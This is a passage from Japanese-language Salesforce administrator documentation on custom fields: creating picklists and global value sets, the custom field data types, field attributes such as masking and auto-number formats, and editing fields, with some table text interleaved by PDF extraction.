画像やハイパーリンクを追加してテキストの外観を向上させるには、リッチテキストエリア項目を使用し
ます。
リッチテキストエリア項目の制限
リッチテキストエリア項目を使用する場合は、次の制限に留意してください。
カスタム項目の従来の暗号化
非公開にしておくカスタムテキスト項目を他の Salesforce ユーザが参照できないようにします。暗号化され
たカスタムテキスト項目のデータを参照できるのは、「暗号化されたデータの参照」権限を持つユーザの
みです。
選択リスト値の追加または編集
オブジェクトの項目領域でカスタム選択リストの値を追加または編集します。選択リストでグローバル選
択リスト値セットを使用している場合は、グローバル値セットを編集することによってのみ、その値を変
更できます。変更内容は、そのグローバル値セットから値を継承している、すべての選択リストに影響し
ます。
連動選択リストの定義
HTML エディタの使用
カスタム項目のデータ型の変更

関連トピック:

外部オブジェクトリレーション
暗号化できる項目は?

従来の暗号化と Shield プラットフォームの暗号化との違い
ファイルおよび添付ファイルの暗号化
オブジェクト管理設定の検索
リードの取引開始に対するリードのカスタム項目の対応付け
ルックアップ検索条件項目の指定
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カスタム選択リスト項目の作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
すべてのエディション

ユーザ権限

カスタム項目を作成また
は変更する
• 「アプリケーションの

カスタマイズ」

カスタム選択リスト項目を作成して、あらかじめ定義されたリストからユーザ
が値を選択できるようにします。
デモビデオを見る: Custom Fields: Picklists (カスタム項目: 選択リスト)

次の種類の選択リスト項目を作成できます。
• ローカル選択リスト — あらかじめ定義されたリストから 1 つの値を選択でき

ます。この選択リストは一意であり、独自の値セットを持ちます。
• 共有選択リスト — [設定] であらかじめ定義されたグローバル選択リスト値

セットから 1 つの値を選択できます。グローバル値セットを使用するすべて
のカスタム選択リスト項目はその値を継承し、追加の値を持つことができま
せん。

• 複数選択リスト — あらかじめ定義されたリストから複数の選択リスト値を
選択できます。これらの項目では、各値がセミコロンで区切られます。

メモ: 選択リスト項目は、外部オブジェクトでは使用できません。複数選
択リスト、リッチテキストエリア、または連動選択リストのカスタム項目
を商談分割に追加することはできません。

1. 作成する選択リスト項目の対象となるオブジェクトの項目領域に移動します。
2. カスタム項目の関連リストで、[新規] をクリックします。
3. [選択リスト] または [選択リスト (複数選択)] を選択し、[次へ] をクリックします。
4. 選択リスト項目の表示ラベルを入力します。
5. 既存のグローバル選択リストから値を使用するには、[グローバル選択リスト値セットを使用] を選択しま

す。この選択リスト用に特に作成する値を使用するには、[選択リストの各値を改行で区切って入力しま
す。] を選択します。

ヒント: グローバル選択リストに関するフィードバックや提案は、Salesforce Success コミュニティの
Global, Restricted Custom Picklists グループに投稿してください。

6. グローバル選択リスト値セットを使用していない場合は、選択リスト値を入力します。
それぞれの値を別の行に配置します。値の文字数は、最大 255 文字です。

7. 必要に応じて、値をアルファベット順に並び替えるか、リストの最初の値をデフォルト値として使用する
か、その両方をオンにします。既存の選択リスト項目でこの設定を後で変更することはできません。
両方のオプションを選択にすると、Salesforce によりエントリがアルファベット順に並び替えられ、次にア
ルファベット順で先頭の値がデフォルトとして設定されます。

メモ: デフォルト値は、必須項目かつ一意の項目に割り当てないでください。一意性のエラーになる
可能性があります。「デフォルト項目値について」 (ページ 5423)を参照してください。

8. この選択リストの値を、システム管理者が承認したリストに制限するかどうかを選択します。[値セットで
定義された値に選択リストを制限します] を選択すると、API を使用して未承認の値をユーザが読み込みで
きなくなります。
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9. 複数選択リストを作成している場合は、編集ページに一度に表示する値の数を入力します。この値の数に
よってボックスの高さが決まります。

10. 必要に応じて説明またはヘルプテキストを入力し、[次へ] をクリックします。
11. 選択リスト項目の項目レベルセキュリティを設定し、[次へ] をクリックします。
12. 選択リスト項目を含めるページレイアウトを選択します。
13. [保存] をクリックします。

関連トピック:

カスタム項目の作成
選択リスト値の追加または編集
グローバル選択リスト値セットの作成

グローバル選択リスト値セットの作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
すべてのエディション

ユーザ権限

カスタム項目を作成また
は変更する
• 「アプリケーションの

カスタマイズ」

グローバル選択リスト値セットを使用して、オブジェクトやカスタム選択リス
ト項目にまたがって値を共有したり、指定した値にのみ選択リストを制限した
りします。

メモ: グローバル選択リストに関するフィードバックや提案は、Salesforce

Success コミュニティの Global, Restricted Custom Picklists グループに投稿してく
ださい。

カスタム選択リストは、オブジェクトの項目として特定のオブジェクトに関連
付けられます。カスタム選択リスト項目と異なり、グローバル選択リストは、
グローバル選択リスト値セットとして独立して存在します。その値は、グロー
バル選択リストに基づいたすべての選択リストと共有されます。
グローバル選択リストは、本質的に制限付き選択リストです。Salesforce システ
ム管理者のみがその値を追加または変更できます。ユーザは API を使用しても未
承認の値を追加できません。

メモ: 1 つの組織に最大 500 個のグローバル選択リスト値セットを設定でき
ます。各グローバル値セットには、有効な値と無効な値を合わせて最大 500

個含めることができます。グローバル選択リスト値セットを使用するカス
タム選択リストの数に制限はありません。

1. [設定] から、[クイック検索] ボックスに「選択リスト」と入力し、[選択リスト値セット] を選択します。
2. グローバル値セットの横にある [新規] をクリックします。
3. グローバル値セットの表示ラベルを入力します。ユーザがこのグローバル値セットに基づいて選択リスト

を作成すると、この名前が [設定] に表示されます。
4. これらの値の目的をユーザに示すため、グローバル値セットの具体的な説明を入力します。このテキスト

は、[設定] の [選択リスト値セット] リストページに表示されます。
5. 値を 1 行に 1 つずつ入力します。
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6. 必要に応じて、値をアルファベット順に並び替えるか、リストの最初の値をデフォルト値として使用する
か、その両方をオンにします。この設定は後で変更することができません。
両方のオプションを選択にすると、Salesforce によりエントリがアルファベット順に並び替えられ、次にア
ルファベット順で先頭の値がデフォルトとして設定されます。

7. [保存] をクリックします。
グローバル値セットをカスタム選択リスト項目として使用する準備が整いました。[並び替え] をクリックし
て、値を並び替えることができます。
グローバル選択リスト値セットを使用する選択リストを作成するには、「カスタム選択リスト項目の作成」を
参照してください。
この値セットが使用される項目をすべて見るには、グローバル選択リストの詳細ページの [項目の使用場所] を
参照してください。

関連トピック:

無効な選択リスト値の管理
カスタム選択リスト項目の作成

カスタム項目のデータ型
いずれの標準項目とも一致しないデータがある場合、システム管理者はそのデータのカスタム項目を作成でき
ます。たとえば、取引先責任者に [ミドルネーム] 項目が必要な場合などです。
カスタム項目を作成する最初のステップは、項目のデータ型を選択することです。以下は、カスタム項目の各
データ型に関する説明です。

説明型

各レコードに一意の連番を自動的に割り当てます。自
動採番項目の最大文字数は 30 文字で、そのうち 20 文

自動採番

字がプレフィックスまたはサフィックスのテキスト用
に予約されています。外部オブジェクトでは使用でき
ません。

チェックボックスをオンにして、レコードの属性が
True または False であることを示します。レポートまた

チェックボックス

はリストビュー条件でチェックボックス項目を使用す
る場合は、オンになっている値には「True」、オフに
なっている値には「False」を使用します。データイン
ポートウィザードおよびウィークリーエクスポート
ツールは、オンの値には「1」を、オフの値には「0」
を使用します。

通貨の金額を入力できます。システムによって項目が
自動的に通貨金額として書式化されます。この項目

通貨

は、データをスプレッドシートアプリケーションにエ
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説明型

クスポートする場合に便利です。外部オブジェクトで
は使用できません。

メモ: Salesforceは、通貨項目に対して、近い方の
偶数に丸めるタイブレークルールを使用します。
たとえば、23.5 は 24 になり、22.5 は 22 に、-22.5

は -22 に、そして -23.5 は -24 になります。
値の精度は、15 桁より後で失われます。

日付を直接入力することも、ポップアップのカレン
ダーから選択することもできます。レポートの場合

日付

は、任意のカスタム日付項目を使用して、データを特
定の日付に制限できます。

日付を入力したり、ポップアップカレンダーから日付
を選択して時間を入力したりすることができます。項

日付/時間

目の横にある日付と時間のリンクをクリックして、現
在の日付と時間を追加することもできます。時間に
は、AM または PM の表記が含まれています。レポート
の場合は、任意のカスタム日付項目を使用して、デー
タを特定の日付と時間に制限できます。

最大 80 文字のメールアドレスを入力できます。メー
ルの形式が正しいかどうかが検証されます。この項目

メール

が取引先責任者またはリードに指定されている場合、
[メールを送信]をクリックするときにアドレスを選択
できます。カスタムメールアドレスは一括メール送信
に使用できません。

メモ: この項目は、Shield Platform Encryptionを使用
して暗号化できます。

外部参照関係は、子の標準、カスタム、または外部オ
ブジェクトを親の外部オブジェクトにリンクします。

外部参照関係

外部参照関係項目を作成すると、親の外部オブジェク
トの標準外部 ID 項目が子の外部参照関係項目の値と
照合されます。外部オブジェクト項目値は、外部デー
タソースから発生しています。

差し込み項目など他の項目や値に基づいて値を自動的
に計算することができます。外部オブジェクトでは使
用できません。

数式

メモ: Salesforceは、数式項目内の数値に対して、
切り上げタイブレークルールを使用します。た

5381

項目のカスタマイズコードではなくてクリックによる Salesforce の拡張



説明型

とえば、12.345 は 12.35 に、-12.345 は -12.34 にな
ります。

ユーザが緯度と経度から位置を特定できます。地理位
置情報は複合項目で、組織の制限では緯度と経度と内

地理位置情報

部使用の 3 つのカスタム項目としてカウントされま
す。外部オブジェクトでは使用できません。

ユーザ間の階層の参照関係を作成します。参照項目を
使用して、参照関係にない (直接、間接を問わず) ユー

階層関係

ザ同士を関連付けることができます。たとえば、各
ユーザの直属マネージャを格納するカスタム階層項目
を作成できます。

間接参照関係は、子の外部オブジェクトを親の標準ま
たはカスタムオブジェクトにリンクします。間接参照

間接参照関係

関係項目を外部オブジェクトに作成するとき、親オブ
ジェクト項目と子オブジェクト項目を指定して、リ
レーションのレコードを照合し、関連付けます。具体
的には、外部データソースから値が発生する子の間接
参照関係項目と照合する、親オブジェクトの一意のカ
スタム外部 ID 項目を選択します。

2 つのレコード間の関係を作成し、互いを関連付ける
ことができます。たとえば、商談とケースの間には参

参照関係

照関係があるため、特定のケースを商談に関連付ける
ことができます。
• 標準またはカスタムオブジェクトでは参照関係に

よって項目が作成されるため、ユーザは、ルック
アップアイコンをクリックして、ポップアップウィ
ンドウから別のレコードを選択できます。

• 外部オブジェクトでは、参照関係項目は外部デー
タソースに保存されている 18 文字の Salesforce ID を
参照します。互いに関連するレコードを判別する
ために、これらの ID は親オブジェクトと照合され
ます。

親レコードでは、関連リストを表示して、そのレコー
ドにリンクしているすべてのレコードを表示できま
す。ユーザ、標準オブジェクト、またはカスタムオブ
ジェクトにリンクする参照関係項目を作成できます。
参照項目が削除済みのレコードを参照している場合、
デフォルトではSalesforceにより参照項目の値がクリア
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説明型

されます。または、レコードが参照関係にある場合は
削除されないように選択することもできます。
参照関係項目は、Personal Edition では使用できません。
キャンペーンメンバーへの参照関係項目は使用できま
せん。ただし、キャンペーンメンバーから標準または
カスタムオブジェクトへの参照関係項目は使用できま
す。

主レコードが従レコードの一部の動作 (レコードの削
除やセキュリティ) を制御するような、レコード間の
関係を作成します。
標準オブジェクトまたは外部オブジェクトでは使用で
きません。ただし、標準オブジェクトにリンクするカ
スタムオブジェクトに主従関係項目を作成できます。

主従関係

主従関係は、キャンペーンメンバーでは使用できませ
ん。

任意の数値を入力できます。この数値は実数として扱
われるため、0 で始まる数値を入力しても、最初の 0

は削除されます。

数値

メモ: Salesforceでは、数値項目に対して、切り上
げタイブレークルールを使用します。たとえば、
12.345 は 12.35 に、-12.345 は -12.34 になります。
Salesforce では、数値項目設定で指定された小数
点以下桁数ではなく、ユーザのロケールに従っ
て、差し込み項目で参照される数値を丸めます。

「0.10」など、パーセント値を小数値として入力で
きます。小数値は、自動的にパーセント (10%など) に
変換されます。

パーセント

メモ: 値の精度は、15 桁より後で失われます。
また、入力した小数値が 15 より大きい場合に、
その数値にパーセント記号を追加すると、ラン
タイムエラーが発生します。

任意の電話番号を入力できます。最大 40 文字です。
Salesforceにより、自動的に電話番号形式に変換されま
す。

電話

Salesforce CRM Call Centerを使用している場合は、カスタ
ム電話項目が ボタンと一緒に表示され、クリック
-to-ダイヤル機能を使用できるようになっています。
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説明型

カスタム電話項目は Fax 番号として使用しないことを
お勧めします。

メモ: この項目は、Shield Platform Encryptionを使用
して暗号化できます。

ユーザ定義のリストから 1 つの値を選択できます。外
部オブジェクトでは使用できません。

選択リスト

ユーザ定義の選択リストから複数の値を選択すること
ができます。これらの項目では、各値がセミコロンで

選択リスト (複数選択)

区切られます。外部オブジェクトでは使用できませ
ん。

関連レコードのレコード件数を表示したり、関連レ
コードの合計値、最小値、または最大値を計算しま

積み上げ集計

す。レコードは、選択されたレコードと直接関連し、
かつ積み上げ集計項目を含むオブジェクトとのカスタ
ム主従関係において従側である必要があります。たと
えば、「ゲストの合計数」という名前のカスタム項目
には、「ゲスト」関連リストにあるゲストカスタムオ
ブジェクトのレコード数が表示されます。外部オブ
ジェクトでは使用できません。

文字、数字、または記号を任意の組み合わせで入力で
きます。最大文字数を 255 文字までに設定できます。

テキスト

メモ: この項目は、Shield Platform Encryptionを使用
して暗号化できます。

文字、数字、または記号を任意の組み合わせで入力
し、暗号化して保存できます。最大文字数を 175 文字

テキスト (暗号化)

までに設定できます。暗号化項目は 128 ビットの主
キーで暗号化され、Advanced Encryption Standard (AES) ア
ルゴリズムを使用しています。主暗号化鍵は、アーカ
イブ、削除、およびインポートできます。主暗号化鍵
管理を有効にするには、Salesforceまでお問い合わせく
ださい。外部オブジェクトでは使用できません。

メモ: この項目は、従来の暗号化を使用して暗
号化できます。組織で Shield Platform Encryption を
使用している場合は、[テキスト]を使用して暗
号化されたテキスト項目を作成します。

[説明] 項目と同様、最大 255 文字を入力して、複数
行に表示できます。

テキストエリア
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説明型

[説明]項目と同様、最大 131,072文字を入力して、複
数行に表示できます。このデータ型の文字数は、必要

ロングテキストエリア

に応じて、下限に設定することもできます。256 から
131,072 までの文字数を入力できます。デフォルトは
32,768 文字です。ロングテキストエリア項目内で
Enter キーを押すごとに、改行と復帰の記号がテキ
ストに追加されます。これら 2 つの文字は 131,072 の
制限文字数に数えられます。このデータ型は、活動ま
たは商談の商品では使用できません。レポートには、
リッチテキストエリアまたはロングテキストエリアの
最初の 254 文字のみが表示されます。

メモ: この項目は、Shield Platform Encryptionを使用
して暗号化できます。

ツールバーを使用して、項目の内容の形式を設定し、
画像およびハイパーリンクを追加できます。ツール

リッチテキストエリア

バーを使用して、取り消し、やり直し、太字、斜体、
下線、取り消し線、ハイパーリンクの追加、画像への
アップロードまたはリンク、配置の変更、番号ありま
たは番号なしリストの追加、インデントおよびアウト
デントを実行できます。項目最大サイズは 131,072 文
字で、すべての書式設定および HTML タグも含みます。
レポートには、リッチテキストエリアまたはロングテ
キストエリアの最初の 254 文字のみが表示されます。
アップロードされる画像の最大サイズは 1MB です。
gif、jpeg、pngだけがサポートされています。外部
オブジェクトでは使用できません。

有効な Web サイトアドレスを 255 文字まで入力できま
す。ユーザが項目をクリックすると、URL が別のブラ

URL

ウザウィンドウで開きます。レコード詳細ページに
は、最初の 50 文字しか表示されません。

メモ: この項目は、Shield Platform Encryptionを使用
して暗号化できます。

関連トピック:

カスタム項目の属性
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標準項目とカスタム項目の違いは?

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

Salesforceの標準オブジェクトとカスタムオブジェクトにカスタム項目を追加し、
組織を無制限にカスタマイズできます。カスタム項目は、Salesforce に組み込ま
れている標準項目に似ていますが、標準項目とカスタム項目にはいくつかの相
違点があります。
カスタムオブジェクトとカスタム項目では、組織のニーズに合わせて保存され
るデータを調整できます。Force.com データベースにはいくつかの標準オブジェ
クトおよび付随する標準項目が用意されていますが、データの追跡およびレポー
ト方法を簡単にカスタマイズできます。
カスタムオブジェクトは、プロジェクトを作成して、アプリケーションに関連
するあらゆるエンタープライズデータを柔軟に保存できます。たとえば、社員募集アプリケーションを作成し
ている場合、「職種」と「応募者」というカスタムオブジェクトを作成し、それぞれ求人情報と応募者の情報
を追跡できます。
カスタム項目を使用すると、データをより詳細に分類して追跡できます。標準オブジェクト同様、カスタムオ
ブジェクトにはそれらのオブジェクトレコードのデータを定義する項目があります。たとえば、カスタム数値
項目 [経験年数] をカスタム応募者オブジェクトに追加したり、カスタムテキスト項目 [説明] をカスタム職
種オブジェクトに追加したりできます。カスタム項目は、カスタムオブジェクトと標準オブジェクトの両方に
追加できます。
詳細は、次のトピックを参照してください。
• カスタム項目の作成
• カスタム項目の編集
• 特定のオブジェクトの項目の管理
• 数式項目の作成
• デフォルト項目値の定義
• その他のカスタム項目オプション
• カスタム項目の属性

カスタム項目の属性
カスタム項目エントリは、いくつかの属性で構成されています。

説明項目

ロングテキストエリア項目に対して、編集ページに表示される行
数を設定します。2 ～ 50 行を表示できます (デフォルトは 6 行)。

表示行数

指定した表示行数にテキストが収まらない場合は、スクロール
バーが表示されます。詳細ページおよび印刷用表示では、ロング
テキストエリア項目が完全に表示されます。

積み上げ集計項目のプロパティが変更された後にこの項目がどの
ように再計算されるかを決めます。[自動計算]を選択すると、次

計算オプション

回項目が表示されたときに再計算されます。セーフティネットオ
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説明項目

プションとして [この項目の一括再計算]を選択すると、積み上げ
集計項目が強制的に再計算されます。

API SOQL リレーションクエリで使用する名前です。子リレーション名

項目のデータ型により、その項目の情報の種類が決まります。た
とえば、数値データ型の項目には、正または負の整数が入りま
す。

データ型

通貨、地理位置情報、数値、パーセント項目の場合の小数点の右
に入力できる桁数。これ以上の桁の数値を入力した場合は、四捨

小数点の位置

五入されます。たとえば、[小数部の桁数] が 2 に設定されてい
る場合に 4.986 と入力すると、その数値は 4.99 になります。

ユーザによるレコード作成時に適用される値。チェックボックス
のカスタム項目に対し、レコードの作成時に指定されるデフォル

デフォルト値

ト値として、[チェック] または [チェックなし] を選択できます。
デフォルト値は、必須項目かつ一意の項目に割り当てないでくだ
さい。ユニーク性のエラーになる可能性があります。「デフォル
ト項目値について」 (ページ 5423)を参照してください。

カスタム項目を説明するテキストです。この説明は管理目的での
み使用され、その項目を含むレコード詳細や編集ページには表示
されません。

説明

自動採番項目の場合は、[表示形式]に入力して、先行ゼロの最小
数や数字の前後に付けるプレフィックスやサフィックスなど、表
示形式の詳細を制御します。
必要最低限の{0} (先行ゼロのない自動採番の数値表示形式) の入力
から始めます。数字のプレフィックスがあればこの数値表示形式

表示形式

の前に追加し、サフィックスがあればこの後に追加します。日付
のプレフィックスまたはサフィックスは {YY}、{YYYY}、{MM}、{DD}

の形式で挿入します。日付は、グリニッジ標準時間 (GMT) 形式の
レコードの作成日を表します。
[表示形式]を入力する際の自動採番の使用については、「自動採
番の表示形式の例」 (ページ 5392)を参照してください。

オンの場合、このカスタム項目は Shield Platform Encryptionを使用し
て暗号化されています。

暗号化

メモ: このページは、従来の暗号化ではなく Shield Platform

Encryption について書かれています。相違点
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説明項目

外部オブジェクトでのみ使用できます。カスタム項目を外部デー
タソースのテーブル列に対応付けます。
参照関係項目の場合、18 文字の Salesforce ID が含まれる外部テーブ
ル列を指定します。

外部列の名前

カスタム項目を含めることができる各オブジェクトに対し、外部
ID として、カスタムの自動採番項目、メール項目、数値項目、ま

外部 ID

たはテキスト項目を 7項目まで設定できます。外部 ID 項目には、
Salesforce 以外のシステムからのレコード ID が入ります。
外部 ID 項目を使用すると、API を使用してレコードを更新または
更新/挿入できます。カスタムオブジェクトやソリューションに
API またはデータインポートウィザードを使用する場合、この項
目を [一意の] とマークすることで、重複を避けることができま
す。

メモ: [一意の]に設定されているカスタム項目は、オブジェ
クトの制限である 7 つの [外部 ID] 項目として、カウント
の対象になります。Salesforce によってバックグラウンドで
自動的に発生するカスタムインデックスは、外部 ID 制限に
対してカウントされません。

外部オブジェクトでは使用できません。各外部オブジェクトには
[外部 ID]標準項目があります。その値により、組織内の各外部
オブジェクトレコードが一意に識別されます。

積み上げ集計項目の値を再計算する際に、レコードのグループを
選択する目的で使用される条件です。

検索条件

外部オブジェクトのカスタム項目の場合、項目が検索条件で使用
できるかどうかを決定します。

条件検索は無効化されています

カスタム数式項目またはレポート用のカスタム集計項目に数式を
入力します。

数式

この項目の項目レベルのヘルプでフロート表示テキストとして表
示されるテキストです。

ヘルプテキスト

テキスト型の外部オブジェクト項目の場合、このカスタム項目を
外部オブジェクトの名前項目として指定します。テキストエリア

名前項目

項目には使用できません。デフォルトで、[外部 ID] 標準項目は、
外部オブジェクトの名前項目です。
このチェックボックスをオンにする場合、名前値が含まれるテー
ブル列が [外部列の名前]に指定されていることを確認してくださ
い。各外部オブジェクトに設定できる名前項目は 1 つのみです。
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説明項目

内部使用のみを目的として、Salesforce は外部システムから取得さ
れた各行の名前項目の値を保存します。この動作は、大量データ
の外部データソースに関連付けられた外部オブジェクトには適用
されません。

カスタム項目の表示用の名前です。表示ラベル

テキスト項目の場合の、ユーザが入力できる最大文字数 (255 文
字)。

文字数 (テキスト項目)

数値、通貨、パーセント項目の場合の、整数部として入力できる
桁数。たとえば、123.98 の場合は 3 と指定します。

桁数 (数値、通貨、パーセント項目)

暗号化されたテキスト項目の場合、隠し文字に使用する文字を決
めます。選択可能なオプションは * と X です。

マスク文字

従来の暗号化によって暗号化されたテキスト項目の場合、非表示
にする文字と、項目内でのダッシュの使用を決めます。マスクさ

マスク型

れた文字は、[マスク文字]で選択した文字を使用して非表示にな
ります。選択可能なオプションは次のとおりです。
すべての文字をマスク

項目内のすべての文字が非表示になります。
最後の 4 桁をクリア

最後の 4 桁を除くすべての文字が非表示になります。
クレジットカード番号

最初の 12 桁が非表示になり、最後の 4 桁が表示されます。
Salesforce では 4 桁ごとのダッシュが自動的に挿入されます。

国民保険番号
すべての文字が非表示になります。項目が 9 桁の場合は、各ペ
アの文字の後にスペースが自動的に挿入されます。このオプ
ションは、英国の NINO 項目に対して使用します。

社会保障番号
最初の 5 桁が非表示になり、最後の 4 桁が表示されます。
Salesforceでは 3 桁目と 5 桁目の後のダッシュが自動的に挿入さ
れます。

社会保険番号
最後の 3 桁を除くすべての文字が非表示になります。Salesforce

では 3 桁目と 6 桁目の後のダッシュが自動的に挿入されます。

積み上げ集計項目の値を表示する目的で使用される主従関係の主
側にあるオブジェクト。

主オブジェクト

リレーション項目で、親レコードに関連するレコードを表示する
関連リストのタイトル。

関連リスト表示ラベル
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説明項目

リレーション項目用の、関連付けられているオブジェクトの名
前。

関連先

Salesforce 全体で項目を必須にします。外部オブジェクトでは使用
できません。
必須のキャンペーンメンバーカスタム項目のデフォルト値を指定
する必要があります。

必須項目

デフォルト値は、必須項目かつ一意の項目に割り当てないでくだ
さい。ユニーク性のエラーになる可能性があります。「項目入力
の必須化によるデータ品質の確保」 (ページ5474)を参照してくださ
い。

積み上げ集計項目に対して、実行する計算の種類を次から選択し
ます。

説明種類

積み上げの種類

関連レコードの件数を合計します。件数

[集計する項目]オプションで選択した項目の値を合計
します。数値、通貨、およびパーセント項目のみ利用
できます。

合計

すべての直接関連レコードの [集計する項目]オプショ
ンで選択した項目の最小値を表示します。数値、通

最小

貨、パーセント、日付、および日付/時間項目のみ利
用できます。

すべての直接関連レコードの [集計する項目]オプショ
ンで選択した項目の最大値を表示します。数値、通

最大

貨、パーセント、日付、および日付/時間項目のみ利
用できます。

自動採番項目に対し、10 億未満の [開始番号] を入力します。現
在のレコードのすべてに対して、入力した番号から始めて自動的

開始番号

に採番する場合は、[既存のレコードにも自動採番を生成する] を
選択します。選択しない場合は、次に入力したレコードに開始番
号が割り当てられ、それ以前のレコードはこの項目が空白になり
ます。リードの場合は、取引が開始されていないリードに番号が
割り当てられます。
レコードを作成すると、次に作成される自動採番項目に割り当て
られる番号を保存するために [開始番号] の値が増分されます。
自動採番項目の作成後に [開始番号] を編集することはできませ
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説明項目

ん。[開始番号]の値を編集するには、自動採番項目をテキスト項
目に変更してから、自動採番項目に戻します。管理パッケージの
オブジェクトにある項目の [開始番号]の値を再開するには、パッ
ケージをアンインストールしてから再インストールします。

警告: 自動採番項目値が重複するレコードは作成しないでく
ださい。

自動採番項目には 10 桁まで入力可能で、プレフィックスまたはサ
フィックス用に追加で 20 文字まで指定可能です。

メモ:

• メタデータ API で自動採番項目の開始番号を取得するこ
とはできません。リリース時に [開始番号] を指定する
には、項目の startingNumber タグを package.xml

ファイルに追加します。例:
<startingNumber>42</startingNumber>

• package.xmlファイルで [開始番号]値を指定せずにリ
リースする場合、標準項目のデフォルトの開始番号は 0

になります。カスタム項目のデフォルトの開始番号は 1

です。

主従関係項目の場合、子レコードの作成、編集または削除を行う
ために必要な親レコードの共有アクセス権は、[共有設定]選択肢
によって決まります。

共有設定

外部オブジェクトのカスタム項目の場合、項目が並び替えできる
かどうかを決定します。

並び替えは無効化されています

積み上げ集計項目で計算される値を提供する目的で使用される主
従関係の従側にあるオブジェクトです。

集計対象オブジェクト

チェックボックスをオンにすると、項目値の重複が回避されま
す。
テキスト項目では、ケースが一意とみなされる場合を除いて、同
一の値とみなすかどうかを制御できます。大文字と小文字を区別

ユニーク

しないユニーク性を強制するには [「ABC」と「abc」を値の重複
として扱う] を選択し、大文字と小文字を区別するユニーク性を
強制するには[「ABC」と「abc」を別の値として扱う]を選択しま
す。

メモ: 文字によっては、1 バイトバージョンと 2 バイトバー
ジョンの両方があります。たとえば、文字
!@#$%^&*(){}[]\|:";',.<>?/~` にはすべて 1 バイトバージョンと 2

バイトバージョンがあります。
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説明項目

固有項目値の比較を目的とする場合、これらの文字の 1 バ
イトバージョンと 2 バイトバージョンは同一とみなされま
す。

メモ: [一意の]に設定されているカスタム項目は、オブジェ
クトの制限である 7 つの [外部 ID] 項目として、カウント
の対象になります。Salesforce によってバックグラウンドで
自動的に発生するカスタムインデックスは、外部 ID 制限に
対してカウントされません。

選択リスト項目の利用可能な値のリストです (各値は最大 255 文
字)。選択リストの場合、必要に応じて選択リストのエントリをア

値

ルファベット順に並び替えます。最初の値をデフォルトの選択値
として設定することもできます。両方のオプションを選択にする
と、Salesforce によりエントリがアルファベット順に並び替えら
れ、次にアルファベット順で先頭の値がデフォルトとして設定さ
れます。複数選択リストの場合は、値のリストを入力し、適用す
る並び替えオプションを選択して、編集ページに一度に表示する
値の数を入力します。この値の数によってボックスの高さが決ま
ります。

自動採番の表示形式の例
自動採番項目の表示形式を設定するときには、次の例を使用します。

表示される値表示形式

3 66 103{0}

003 066 103{000}

サンプル- 00003 サンプル- 00666 サンプル- 10023サンプル- {00000}

値- 03 12 02 04 値- 76 03 03 04 値- 123 11 09 04値- {00} {MM} {DD} {YY}

PO #12233 12-20-04 PO #25 06-07-04 PO #3 07-07-04PO #{0} {MM}-{DD}-{YY}

関連トピック:

カスタム項目の作成
多対多リレーションの作成
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特定のオブジェクトの項目の管理

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

標準項目はDatabase.com
Edition では使用できませ
ん。

Salesforce Connect の外部
オブジェクトを使用可能
なエディション: Developer
Edition。有料オプションで
使用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

1. 項目を表示するオブジェクトの管理設定から、[項目] に移動します。
2. 項目表示ラベルをクリックします。
3. カスタム項目の変更、カスタムヘルプテキストの追加、またはデータ型の変

更を行うには、[編集] をクリックします。
4. 「管理-リリース済み」パッケージにカスタム項目が存在する場合は、[削除]

をクリックして、今後のインストールからカスタム項目コンポーネントを削
除します。

5. 項目に対するユーザのアクセス権を設定するには、[項目レベルセキュリティ
の設定]をクリックします。このオプションを使用できるかどうかは、エディ
ションによって異なります。

6. 権限とレコードタイプに基づいてその項目にアクセスできるユーザを表示す
るには、[項目アクセス許可の参照] をクリックします。このオプションを使
用できるかどうかは、エディションによって異なります。

7. カスタム項目が連動選択リストの場合、連動関係ルールを編集するには、制
御項目の横にある [変更] をクリックします。

8. 項目とそのデータを復元するには、[復元] をクリックします。このオプショ
ンは、項目が削除されていても、完全には消去されていない場合にのみ使用
できます。復元後、項目の動作が異なる場合があります。項目を完全に復元
する手順については、「削除されたカスタム項目の管理」を参照してくださ
い。

メモ: 組織で個人取引先を使用している場合は、取引先項目ページに、個
人取引先および法人取引先項目の両方が一覧表示されます。
個人取引先では、取引先および取引先責任者項目が併用されます。次の取
引先責任者項目は、個人取引先では使用できますが、法人取引先では使用
できません。
• 個人取引先アイコンが表示されている取引先標準項目リスト内の項目。
• 取引先責任者カスタム項目 & リレーションリスト内の項目。

関連トピック:

カスタムデータセットの作成
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カスタム項目の編集

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

標準オブジェクトは
Database.com Edition では
使用できません。

ユーザ権限

項目を作成または変更す
る
• 「アプリケーションの

カスタマイズ」

1. 項目のオブジェクトの管理設定から、[項目] に移動します。
2. 項目名の横にある [編集] をクリックします。
3. 項目の属性を変更します。属性は、項目の種類によって異なります。

選択リストを編集する場合は、その定義と値を変更できます。選択リスト設
定については、「選択リスト値の追加または編集」 (ページ5402)を参照してく
ださい。

4. 必要に応じて、項目のカスタムヘルプテキストを定義します。
5. 必要に応じて、参照項目と主従関係項目の検索条件を定義します。
6. 数式項目については、[次へ] をクリックして数式を変更します。
7. Enterprise Edition、Unlimited Edition、Performance Edition、および Developer Edition の

場合は、[次へ] をクリックして、その項目の項目レベルセキュリティを設定
します。

メモ:

• 項目を編集するには、場合によっては多数のレコードを一度に変更する
必要があります。この変更を効率的に処理するために、要求がキューに
入れられ、プロセスが完了したときにメール通知を受信する場合があり
ます。

• 上位レコードの詳細ページにカスタムオブジェクトの関連リストが表示
される形式をカスタマイズするには、上位レコードのページレイアウト
を編集します。たとえば、取引先のカスタムオブジェクトの関連リスト
に表示される項目を編集する場合は、取引先のページレイアウトを編集
します。

• Apex でカスタム項目を参照する場合は、[項目名] を変更することはで
きません。

• 取引先、商談、ケース、取引先責任者、またはカスタムオブジェクトの
項目を編集する場合、ルールでその項目を使用する条件に基づく共有
ルールがないかどうかを確認します。項目を変更すると、共有されてい
るレコードに影響する場合があります。

関連トピック:

デフォルト項目値の定義
オブジェクト管理設定の検索
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項目の削除

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

